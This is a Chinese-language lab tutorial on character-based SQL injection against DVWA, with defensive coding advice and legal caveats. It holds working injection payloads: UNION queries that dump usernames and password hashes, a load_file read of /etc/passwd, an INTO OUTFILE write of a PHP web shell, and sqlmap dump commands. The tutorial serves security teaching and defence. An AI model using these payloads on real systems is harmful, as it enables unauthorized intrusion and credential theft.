1. 项目背景与安全测试概述
最近在复现一个经典的Web安全测试案例——DVWA(Damn Vulnerable Web Application)平台中的字符型SQL注入漏洞。这个实验环境搭建于2026年2月27日,主要针对初学Web安全的开发者展示SQL注入的攻击原理与防御方法。DVWA作为专门设计存在漏洞的PHP/MySQL应用,其"SQL Injection(字符型)"模块完美模拟了开发中常见的字符串拼接式SQL查询漏洞。
字符型注入与数字型注入的最大区别在于:攻击载荷需要处理引号闭合问题。当Web应用使用类似"SELECT * FROM users WHERE name = '" + $_GET['input'] + "'"的查询构造方式时,如果没有正确过滤用户输入,攻击者就能通过精心构造的输入破坏原始SQL语法结构,实现数据窃取甚至系统控制。这次实验将完整演示从漏洞检测到利用的全过程,并分析背后的数据库交互原理。
2. 实验环境准备与配置要点
2.1 DVWA环境搭建
使用官方提供的DVWA Docker镜像快速搭建测试环境:
bash复制docker pull vulnerables/web-dvwa
docker run -d -p 8080:80 vulnerables/web-dvwa
访问http://localhost:8080后,需先登录(默认账号admin/password)并将安全级别调整为"Low"(安全级别设置路径:DVWA Security -> Security Level)。
注意:实验结束后务必关闭容器,避免长期暴露不安全服务。生产环境绝对禁止直接部署DVWA这类漏洞演示平台。
2.2 必要工具准备
- 浏览器开发者工具:用于监控网络请求与修改参数
- Burp Suite Community:拦截和重放HTTP请求
- SQLMap:自动化SQL注入测试工具(备用)
- MySQL客户端:直接查询数据库验证结果
3. 字符型注入原理深度解析
3.1 漏洞代码分析
查看DVWA的字符型注入模块源码(路径:vulnerabilities/sqli/source/low.php),关键代码如下:
php复制$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);
这里直接将用户输入的id参数拼接到SQL语句中,未做任何过滤处理。当输入1' or '1'='1时,实际执行的SQL变为:
sql复制SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
'1'='1'永远为真,导致查询返回所有用户记录。
3.2 注入点探测技巧
- 基础探测:输入单引号
'观察是否报错- 报错信息如
You have an error in your SQL syntax...表明存在注入点
- 报错信息如
- 布尔测试:
- 输入
1' and 1=1 --应返回正常结果 - 输入
1' and 1=2 --应无结果返回
- 输入
- 延时测试:
- 输入
1' AND SLEEP(5) --观察响应时间
- 输入
关键技巧:字符型注入必须处理引号闭合,注释符
--(注意尾部空格)或#常用于截断后续SQL语句。
4. 手工注入实战步骤
4.1 信息收集阶段
- 确定字段数:
sql复制1' ORDER BY 1 -- 1' ORDER BY 2 -- 1' ORDER BY 3 -- # 当报错时说明字段数为2 - 确认回显位:
sql复制观察页面哪个位置显示数字1或21' UNION SELECT 1,2 --
4.2 数据提取技术
-
获取数据库信息:
sql复制1' UNION SELECT database(), version() --返回当前数据库名和MySQL版本
-
遍历表名:
sql复制1' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() --重点关注users表
-
提取字段结构:
sql复制1' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' --发现user_id, first_name, last_name, user, password等字段
-
获取敏感数据:
sql复制1' UNION SELECT user, password FROM users --得到所有用户名和MD5加密的密码
4.3 高级利用技巧
- 文件读取(需FILE权限):
sql复制1' UNION SELECT load_file('/etc/passwd'), 2 -- - 写WebShell(需写权限):
sql复制1' UNION SELECT "<?php system($_GET['cmd']); ?>", 2 INTO OUTFILE '/var/www/html/shell.php' --
5. 自动化工具辅助测试
5.1 SQLMap基础使用
保存含有注入点的请求到文件req.txt,然后执行:
bash复制sqlmap -r req.txt --batch --dbs # 列举数据库
sqlmap -r req.txt -D dvwa --tables # 列举表
sqlmap -r req.txt -D dvwa -T users --dump # 导出数据
5.2 Burp Suite组合利用
- 拦截正常请求发送到Repeater模块
- 修改id参数进行注入测试
- 使用Intruder模块进行模糊测试和字典攻击
6. 防御方案与最佳实践
6.1 代码层防护
- 参数化查询(PHP示例):
php复制$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]); - 输入验证:
php复制if (!is_numeric($id)) { die("Invalid input"); } - 最小权限原则:数据库账户只赋予必要权限
6.2 架构层防护
- WAF部署:ModSecurity、Cloudflare等
- 定期漏洞扫描:使用OWASP ZAP等工具
- 错误处理:关闭详细错误回显
7. 常见问题排查实录
7.1 注入失败排查步骤
- 检查是否遗漏引号闭合
- 确认注释符格式(--后需有空格)
- 测试不同编码方式(如URL编码单引号为%27)
- 验证是否有WAF拦截(观察HTTP响应码)
7.2 典型错误解决方案
问题:使用UNION查询时出现"Column count doesn't match"
解决:确保UNION前后字段数一致,先用ORDER BY确定字段数
问题:SQLMap检测不到注入点
解决:尝试添加--level 3 --risk 3提高检测级别,或手动指定注入参数
8. 渗透测试法律边界
- 仅限授权测试环境使用这些技术
- 真实网站渗透必须获得书面授权
- 所有测试数据需严格保密
- 发现漏洞应遵循负责任的披露流程
在实际测试中,我发现字符型注入最容易被忽略的是输入中的转义字符处理。曾经遇到过一个案例,开发者在处理用户输入时只过滤了单引号却忽略了双引号,导致通过二次编码绕过了防护。建议在代码审查时特别关注所有用户输入拼接点,使用静态分析工具辅助检测。